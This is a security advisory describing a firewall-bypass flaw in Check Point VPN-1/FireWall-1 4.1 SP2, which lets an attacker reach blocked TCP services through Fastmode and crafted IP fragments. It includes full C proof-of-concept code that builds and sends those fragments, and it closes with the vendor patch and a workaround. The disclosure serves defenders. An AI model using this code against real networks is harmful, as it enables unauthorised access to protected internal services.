COMMAND

    FireWall-1

SYSTEMS AFFECTED

    VPN-1/FireWall-1 4.1 SP2

PROBLEM

    Thomas Lopatic found following  (TUV data protect -  Advisory #3).
    A vulnerability  exists in  Check Point  VPN-1/FireWall-1 4.1  SP2
    that enables an attacker  to establish connections to  blocked TCP
    services through the firewall in certain configurations.

    It is expected many deployed FireWall-1 installations to be immune
    to this  attack, but  the beauty  inherent to  the applied exploit
    technique would justify an advisory by itself alone.

    If we use Fastmode and allow  access to a single TCP service,  all
    TCP services on the same machine become accessible.  In  addition,
    all TCP services on machines that  are at least one hop away  from
    the  firewall  become  accessible,  too,  if  these  machines  are
    located  behind  the  same  firewall  interface  as  the   machine
    mentioned above.

    That means, for example, that once you open a service in your  DMZ
    to the Internet, all services in the DMZ may become accessible  to
    the Internet.  And once you open a service in your intranet to the
    DMZ (suppose the  web server needs  to access a  DBMS or the  mail
    server has to forward mail  to the intranet), all services  in the
    intranet may become accessible to the DMZ.

    Thus, an attacker might be able to work his way from the  Internet
    through the DMZ to the intranet.  Depending on your topology, this
    problem can be harmless or fatal.

    Connections to arbitrary  TCP services at  an IP address  X can be
    established, if

        1) at least one service in the rulebase is a Fastmode service
        AND
        2.1) the rulebase grants the attacker legitimate access to  at
             least one TCP service at address X.
        OR
        2.2) a. the rulebase grants the attacker legitimate access  to
                at least one TCP service at an arbitrary address Y
        AND
             b. address X is at least one hop away from the firewall
        AND
             c. address  X  is  located  behind  the  same    firewall
                interface as address Y.

    As we  know, if  a certain  service is  defined to  be a  Fastmode
    service, then  all non-SYN  packets with  a source  or destination
    port  equal  to  the  Fastmode  service  will  be  accepted by the
    firewall.   Only  SYN  packets   are  still  passed  through   the
    inspection engine.

    Version 4.1 SP2  does not include  a minimal length  check for the
    first fragment of  a TCP packet  anymore. Instead, when  examining
    TCP ports and TCP flags, it copies the TCP header from the  linked
    list of  fragments to  a contiguous  memory buffer.   Thus, if  we
    fragment the 20  byte TCP header  into three 8  byte + 8  byte + 4
    byte  fragments,  FW-1  will   still  interpret  the  TCP   header
    correctly.  This  is the major  difference to prior  versions.  In
    prior versions,  the inspection  engine made  sure that  the first
    fragment had a length of at least 40 bytes and then performed  the
    rulebase checks  (TCP ports,  TCP flags)  directly in  the mbuf of
    the first fragment.  No copying.

    What can we do  with this? As stated  above, the attack needs  two
    things in order to succeed: a)  a Fastmode service and b) an  open
    port at a  certain IP address.  Let us assume  that we have  a web
    server  with  port  80  open  to  the  public.   Suppose  that the
    administrator has  made port  80 a  Fastmode service,  in order to
    improve firewall performance.

    We now  send two  fragmented TCP  packets, packet  A and packet B.
    Fragment #1  of these  packets contains  the first  8 bytes of the
    respective TCP header, fragment #2 contains the next 8 bytes,  and
    fragment #3 contains the remaining 4 bytes.

    Packet A is an ACK packet with a source port equal to the Fastmode
    service, i.e. a source port of  80.  The destination port of  this
    packet is the blocked service that we  want to get a SYN to.   Let
    us  assume  it  is  32775.   Suppose  A1,  A2 and A3 are the three
    fragments  of   packet  A.    They  now   contain  the   following
    information.

        A1: ports (80 -> 32775)
        A2: flags (ACK)
        A3: ...

    This  packet  will  be  accepted,  because  the  source  port is a
    Fastmode service and it is not a SYN packet.

    Packet  B  is  a  SYN  packet  with  a non-privileged source port,
    e.g. 1024.  The destination  port of  this packet  is the  service
    which is open to  the outside world, i.e.  80.  So, the  fragments
    of packet B contain the following information.

        B1: ports (1024 -> 80)
        B2: flags (SYN)
        B3: ...

    This fragment  will be  accepted, because  it is  accepted by  the
    rulebase.

    For both fragment sets we choose the same IP id. And what we  want
    to  end  up  with  is  that  the destination host of the fragments
    drops A2, B1, and B3.   Because then the firewall will accept  two
    harmless  packets  that  will  be  combined  into  a single not so
    harmless packet at the destination, as in

        A1: ports (80 -> 32775)
        B2: flags (SYN)
        A3: ...

    So, we  have to  somehow malform  A2, B1,  and B3.   However,  the
    fragments must not be malformed when we send them.  Otherwise  the
    intermediate routers  between us  and the  final destination would
    detect the malformation and drop our fragments.  Therefore we  use
    a timestamp IP option that will overflow right at the  destination
    host.  In  this way, all  intermediate routers between  us and the
    destination  will  see  intact  packets  with  a  valid  timestamp
    option.  The destination, however, will see that the timestamp  IP
    option has been  completely used up  by the previous  hop and thus
    consider the option to be invalid and drop the fragment.

    We can do  this for any  non-first fragment.   For first fragments
    FW-1 ensures  that they  start with  0x45, i.e.  that they  do not
    contain any options.

    Now we  can make  the destination  drop A2  and B3.   And with BSD
    semantics,  a  second  fragment  that  has  the  same  offset as a
    fragment  in  the  reassembly  queue  will  be  overlapped  by the
    fragment  in  the  reassembly  queue,  i.e. it will potentially be
    discarded.  Hence, if  we send packet A  before packet B, B1  will
    be dropped because A1 already  exists in the reassembly queue  and
    has the same offset and length.

    For  destination  hosts  which  overlap  fragments  the  other way
    around, we would have to send packet B before packet A.

    And that is  basically it.   We sneak a  SYN through the  firewall
    from a Fastmode port to any  other port at the same IP  address as
    the port  that is  open to  the outside.   All remaining  non-SYNs
    will  be  accepted,  because  they  contain  a Fastmode service as
    their  source  port  (our  packets)  or  destination  port  (reply
    packets).

    To extend the attack to hosts that are at least one hop away  from
    the firewall,  we can  use source  routing to  have the hop behind
    the firewall  rewrite the  destination address  of fragment  B2 to
    anything we want.   Thus we can redirect  the SYN fragment to  any
    IP address after it has passed the firewall.

    Attached is  a pretty  ugly demonstration  source code  for Linux.
    Depending on what you do with it, it might need a little  patching
    of the anti-spoofing  parts of your  kernel to work  properly.  It
    seems that anti-spoofing for local addresses cannot be disabled in
    /proc.  Consider it to be proof of concept code.

    The extension to attack other hosts that are at least one hop away
    from the firewall is not implemented in the code.

    #define _BSD_SOURCE
    
    #include <net/ethernet.h>
    #include <netinet/ip.h>
    #include <netinet/tcp.h>
    #include <arpa/inet.h>
    #include <stdio.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <stdlib.h>
    
    struct pseudo {
      unsigned long source;
      unsigned long dest;
      unsigned char zero;
      unsigned char proto;
      unsigned short len;
    };
    
    /*
     *      -------------------- config --------------------
     */
    
    static char tap_device[] = "/dev/tap0";
    
    static char local_ip_addr[] = "172.16.0.1";
    
    static unsigned char dst_mac_addr[] = {
      0xfe, 0xfd, 0x00, 0x00, 0x00, 0x00
    };
    
    static int num_hops = 1;
    
    /*
     *     ------------------------------------------------
     */
    
    static void hex_dump(unsigned char *buff, int len)
    {
      int i, k;
    
      for (i = 0; i < len; i += k) {
        printf("%.4x: ", i);
        for (k = 0; i + k < len && k < 16; k++)
          printf("%.2x ", buff[i + k]);
        while (k++ < 16)
          printf("   ");
        for (k = 0; i + k < len && k < 16; k++)
          if (buff[i + k] >= 32 && buff[i + k] <= 126)
	    printf("%c", buff[i + k]);
          else
	    printf(".");
        printf("\n");
      }
    }
    
    int full_write(int f, char *data, int len)
    {
      int res;
    
      while (len > 0) {
        if ((res = write(f, data, len)) < 0)
          return res;
        len -= res;
        data += res;
      }
    
      return 0;
    }
    
    static u_short calc_sum(u_short start, u_short *buff, int bytelen)
    {
      u_long sum = start;
      u_short last = 0;
      int wordlen;
    
      wordlen = bytelen / 2;
      bytelen &= 1;
    
      while (wordlen--)
        sum += *buff++;
    
      if (bytelen) {
        *((u_char *)&last) = *((u_char *)buff);
        sum += last;
      }
    
      sum = (sum >> 16) + (sum & 0xffff);
      sum = (sum >> 16) + (sum & 0xffff);
    
      return sum;
    }
    
    static void usage()
    {
      fprintf(stderr, "usage: frag v-addr f-port o-port v-port\n");
    }
    
    int main(int ac, char *av[])
    {
      int t;
      unsigned char dgram[136];
      struct ether_header eh;
      unsigned char iph_buff[60];
      struct ip *iph;
      unsigned char tcph_buff[60];
      struct tcphdr *tcph;
      unsigned long la, va;
      unsigned short fp, op, vp;
      struct pseudo ph;
      unsigned short fid;
    
      if (ac != 5) {
        usage();
        return 1;
      }
    
      if ((va = inet_addr(av[1])) == (unsigned long)-1) {
        fprintf(stderr, "invalid victim address given\n");
        usage();
        return 1;
      }
    
      if (!(fp = htons(atoi(av[2])))) {
        fprintf(stderr, "invalid fastmode port given\n");
        usage();
        return 1;
      }
    
      if (!(op = htons(atoi(av[3])))) {
        fprintf(stderr, "invalid open port given\n");
        usage();
        return 1;
      }
    
      if (!(vp = htons(atoi(av[4])))) {
        fprintf(stderr, "invalid victim port given\n");
        usage();
        return 1;
      }
    
      la = inet_addr(local_ip_addr);
    
      fid = (unsigned short)getpid();
    
      iph = (struct ip *)iph_buff;
      tcph = (struct tcphdr *)tcph_buff;
    
      if ((t = open(tap_device, O_RDWR)) < 0) {
        perror("open");
        return 2;
      }
    
      /*
       *      -------------------- PACKET #1 --------------------
       */
    
      ph.source = la;
      ph.dest = va;
      ph.zero = 0;
      ph.proto = IPPROTO_TCP;
      ph.len = htons(20);
    
      tcph->th_sport = fp;
      tcph->th_dport = vp;
      tcph->th_seq = htonl(0x19711219);
      tcph->th_ack = htonl(0x19720201);
      tcph->th_x2 = 0;
      tcph->th_off = 5;
      tcph->th_win = htons(16384);
      tcph->th_urp = htons(0);
    
      tcph->th_flags = TH_SYN;
    
      /*
       *      Must be the "with SYN" checksum. The ACK will be overwritten
       *      by the second packet.
       */
    
      tcph->th_sum = 0;
      tcph->th_sum = ~calc_sum(calc_sum(0, (u_short *)&ph, 12),
			      (u_short *)tcph, ntohs(ph.len));
    
      tcph->th_flags = TH_ACK;
    
      iph->ip_v = IPVERSION;
      iph->ip_tos = 0;
      iph->ip_id = htons(fid);
      iph->ip_ttl = 64;
      iph->ip_p = IPPROTO_TCP;
      iph->ip_src.s_addr = la;
      iph->ip_dst.s_addr = va;
    
      memcpy(eh.ether_dhost, dst_mac_addr, 6);
      memset(eh.ether_shost, 0, 6);
      eh.ether_type = htons(ETHERTYPE_IP);
    
      dgram[0] = dgram[1] = 0;
      memcpy(dgram + 2, &eh, 14);
    
      /*
       *      ---------- Fragment #1 ----------
       */
    
      iph->ip_hl = 5;
      iph->ip_len = htons(28);
      iph->ip_off = htons(IP_MF);
      iph->ip_sum = 0;
      iph->ip_sum = ~calc_sum(0, (u_short *)iph, 20);
    
      memcpy(dgram + 16, iph_buff, 20);
      memcpy(dgram + 36, tcph_buff, 8);
    
      hex_dump(dgram, 44); printf("\n");
    
      if (full_write(t, dgram, 44) < 0) {
        perror("write");
        close(t);
        return 3;
      }
    
      /*
       *      ---------- Fragment #2 ----------
       */
    
      iph->ip_hl = 6;
      iph->ip_len = htons(32);
      iph->ip_off = htons(1 | IP_MF);
    
      iph_buff[20] = 68;
      iph_buff[21] = 4;
      iph_buff[22] = 5;
      iph_buff[23] = (15 - num_hops) << 4;
    
      iph->ip_sum = 0;
      iph->ip_sum = ~calc_sum(0, (u_short *)iph, 24);
    
      memcpy(dgram + 16, iph_buff, 24);
      memcpy(dgram + 40, tcph_buff + 8, 8);
    
      hex_dump(dgram, 48); printf("\n");
    
    
      if (full_write(t, dgram, 48) < 0) {
        perror("write");
        close(t);
        return 3;
      }
    
      /*
       *      ---------- Fragment #3 ----------
       */
    
      iph->ip_hl = 6;
      iph->ip_len = htons(28);
      iph->ip_off = htons(2);
    
      iph_buff[20] = 1;
      iph_buff[21] = 1;
      iph_buff[22] = 1;
      iph_buff[23] = 1;
    
      iph->ip_sum = 0;
      iph->ip_sum = ~calc_sum(0, (u_short *)iph, 24);
    
      memcpy(dgram + 16, iph_buff, 24);
      memcpy(dgram + 40, tcph_buff + 16, 4);
    
      hex_dump(dgram, 44); printf("\n");
    
      if (full_write(t, dgram, 44) < 0) {
        perror("write");
        close(t);
        return 3;
      }
    
      /*
       *      -------------------- PACKET #2 --------------------
       */
    
      getchar();
    
      tcph->th_sport = htons(1024);
      tcph->th_dport = op;
      tcph->th_flags = TH_SYN;
    
      /*
       * But then again, the fragment with the checksum will be dropped anyway...
       */
    
      tcph->th_sum = 0;
      tcph->th_sum = ~calc_sum(calc_sum(0, (u_short *)&ph, 12),
			      (u_short *)tcph, ntohs(ph.len));
    
      /*
       *      ---------- Fragment #1 ----------
       */
    
      iph->ip_hl = 5;
      iph->ip_len = htons(28);
      iph->ip_off = htons(IP_MF);
      iph->ip_sum = 0;
      iph->ip_sum = ~calc_sum(0, (u_short *)iph, 20);
    
      memcpy(dgram + 16, iph_buff, 20);
      memcpy(dgram + 36, tcph_buff, 8);
    
      hex_dump(dgram, 44); printf("\n");
    
      if (full_write(t, dgram, 44) < 0) {
        perror("write");
        close(t);
        return 3;
      }
    
      /*
       *      ---------- Fragment #2 ----------
       */
    
      iph->ip_hl = 6;
      iph->ip_len = htons(32);
      iph->ip_off = htons(1 | IP_MF);
    
      iph_buff[20] = 1;
      iph_buff[21] = 1;
      iph_buff[22] = 1;
      iph_buff[23] = 1;
    
      iph->ip_sum = 0;
      iph->ip_sum = ~calc_sum(0, (u_short *)iph, 24);
    
      memcpy(dgram + 16, iph_buff, 24);
      memcpy(dgram + 40, tcph_buff + 8, 8);
    
      hex_dump(dgram, 48); printf("\n");
    
    
      if (full_write(t, dgram, 48) < 0) {
        perror("write");
        close(t);
        return 3;
      }
    
      /*
       *      ---------- Fragment #3 ----------
       */
    
      iph->ip_hl = 6;
      iph->ip_len = htons(28);
      iph->ip_off = htons(2);
    
      iph_buff[20] = 68;
      iph_buff[21] = 4;
      iph_buff[22] = 5;
      iph_buff[23] = (15 - num_hops) << 4;
    
      iph->ip_sum = 0;
      iph->ip_sum = ~calc_sum(0, (u_short *)iph, 24);
    
      memcpy(dgram + 16, iph_buff, 24);
      memcpy(dgram + 40, tcph_buff + 16, 4);
    
      hex_dump(dgram, 44); printf("\n");
    
      if (full_write(t, dgram, 44) < 0) {
        perror("write");
        close(t);
        return 3;
      }
    
      close(t);
    
      return 0;
    }

SOLUTION

    Service pack  3 is  available for  FireWall-1 4.1  and in addition
    to  the  things  listed  in  the  release notes it fixes the above
    little... errrrm... idiosyncrasy.

    Disable the  Fastmode property  for all  protocols as  workaround.
    Fastmode  is  disabled  by  default,  and  is  enabled only if the
    firewall administrator has  specifically changed the  TCP property
    for a protocol.   To verify this  setting, select a  protocol from
    the   "Manage->Services"   menu   in   the   Policy   Editor    by
    double-clicking on  the protocol  or clicking  the "Edit"  button.
    Make sure  the "FastMode"  box at  the bottom  of the  TCP Service
    Properties window is not checked.  Disabling Fastmode removes  all
    known vulnerabilities.